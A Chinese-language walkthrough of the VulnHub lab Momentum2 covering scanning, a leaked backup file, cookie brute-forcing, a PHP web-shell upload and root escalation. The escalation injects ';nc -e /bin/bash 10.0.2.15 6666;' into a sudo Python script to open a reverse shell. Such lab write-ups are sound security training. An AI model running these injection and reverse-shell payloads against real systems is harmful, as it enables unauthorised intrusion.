vulnhub靶场之Momentum2

一.环境搭建

1.靶场描述

  • Difficulty : medium
  • Keywords : curl, bash, code review

This works better with VirtualBox rather than VMware

2.靶场下载

https://download.vulnhub.com/momentum/Momentum2.ova

3.靶场启动

二.信息收集

1.寻找靶场真实的IP地址

nmap -sP 10.0.2.0/24

arp-scan -l

靶场真实IP地址为10.0.2.251

2.探测端口及服务

nmap -p- -sV http://10.0.2.251

开启了22端口和80端口

三.渗透测试

1.访问web服务

http://10.0.2.251

我们查看源代码,没有任何发现

2.扫描web服务

1)nikto扫描

nikto -h http://10.0.2.251

2)dirb扫描

dirb http://10.0.2.251

3)dirsearch扫描

我们可以看到disearch多扫描出了一个/dashboard.html目录

3.渗透测试

1)访问目录

http://10.0.2.251/ajax.php

我们可以看到什么也没有,当一个目录什么也没有的时候,我们可以看看它的备份文件

http://10.0.2.251/css

http://10.0.2.251/js

发现一个代码,总的来说就是一个结合ajax.php上传多个文件的js代码,这就说明有上传文件的页面,存在上传点,就有可能存在文件上传漏洞

http://10.0.2.251/manual

可以看到apache的版本号

http://10.0.2.251/dashboard.html

我们可以看到是一个上传页面,我们就进行文件上传

2)文件上传

可以看到过滤了,我们进行抓包

我们可以发现当我们上传txt文件时,返回值是1,说明只能上传txt文件

我们在10.0.2.251/owls路径下看到我们上传的txt文件,所以目前我们没有办法进行文件上传

3)备份文件

我们想到前面的php目录什么也没有,我们试试看它的备份文件

curl http://10.0.2.251/ajax.php.bak

我们可以看到一串代码,我们进行分析

cookie 存在时,键名为 admin ,值为 &G6u@B6uDXMq&Ms ,再值的末尾还需要加一个大写字母。

使用 post 方式提交一个参数 secure ,值为 val1d,就可以上传 pdf,php,txt 文件。

4)burp的使用

首先我们生成一个全是大写的字典

上传一句话木马文件。

使用 brupsuit 抓包,添加 cookie 值,添加 post 请求值。

Cookie: admin=&G6u@B6uDXMq&MsR

------WebKitFormBoundary1OlvLrs5qB8SHF7t

Content-Disposition: form-data; name="secure";

val1d

我们进行爆破

发送到 Intruder 模块对 cookie 值最后一位进行爆破。

我们可以看到爆破成功

发现长度是一样的,那就去挨个看回显,最终在R上发现1,说明已上传成功

同时得到admincookie&G6u@B6uDXMq&MsR

5)蚁剑连接

我们进行连接

我们也可以使用nc进行反弹

nc -nvlp 6666

记得修改php-reverse-shell.php里面的ip和端口

我们可以看到反弹成功

5)ssh登录

我们在根目录下面看到了/home/,我们进行查看

我们看到有一个athena用户,里面有flag和密码,那么我们就进行ssh登录

密码后面有一个*

6)提权

我们看到需要python进行提权,我们查看脚本

这段代码使用了 Python 的 random、os 和 subprocess 模块来生成随机的 Cookie,并将生成的 Cookie 和种子保存到日志文件中。下面是对代码的逐行解释:

import random:导入 random 模块,用于生成随机数。

import os:导入 os 模块,用于与操作系统进行交互,例如创建文件和执行命令。

import subprocess:导入 subprocess 模块,用于执行系统命令。

print('~ Random Cookie Generation ~'):打印提示信息,表示开始生成随机 Cookie。

print('! for security reasons we keep logs about cookie seeds.'):打印提示信息,说明出于安全原因,种子(seed)会被记录在日志中。

chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh':定义了一个包含特定字符的字符串,用于生成 Cookie。

seed = input("Enter the seed : "):提示用户输入种子(seed)。

random.seed = seed:设置随机数生成器的种子为用户输入的种子。

cookie = '':初始化一个空字符串,用于存储生成的 Cookie。

for c in range(20)::循环 20 次,生成 20 个字符的 Cookie。

cookie += random.choice(chars):在每次循环中,从 chars 字符串中随机选择一个字符,并将其添加到 cookie 字符串中。

print(cookie):打印生成的 Cookie。

cmd = "echo %s >> log.txt" % seed:构建一个命令字符串,将种子追加写入到 log.txt 日志文件中。

subprocess.Popen(cmd, shell=True):执行命令字符串,将种子追加写入到日志文件中。

代码的主要逻辑是通过循环和随机选择,生成一个长度为 20 的随机 Cookie,并将生成的 Cookie 打印出来。然后,使用 subprocess 模块执行命令,将种子追加写入到名为 log.txt 的日志文件中。

复制代码
sudo -u root /usr/bin/python3 /home/team-tasks/cookie-gen.py #执行python文件
复制代码
nc -lvvp 6666 #本地监听
复制代码
;nc -e /bin/bash 10.0.2.15 6666; #输入回弹命令
相关推荐
Rocket-Luo39 分钟前
谈谈企业中的网络安全
网络·安全·web安全
技术不好的崎鸣同学2 小时前
[BJDCTF2020]The mystery of ip 思路及解法
网络·安全·web安全
Bruce_Liuxiaowei3 小时前
2026年7月第1周网络安全形势周报
人工智能·安全·web安全·ai·智能体
treesforest17 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
上海云盾第一敬业销售17 天前
深入解析WAF的工作原理与机制
web安全·ddos
憧憬成为web高手17 天前
l33t-hoster
学习·web安全·网络安全
HackTwoHub17 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全
zhengfei61117 天前
小白级手册——全面剖析红队信息收集思考
网络·安全·web安全
爱网络爱Linux17 天前
网络安全与渗透测试实用工具大全
web安全·网络安全·信息安全·cisp-pte·cisp·cissp
持敬chijing17 天前
Web渗透之SQL注入-常用sql语句
sql·安全·web安全·网络安全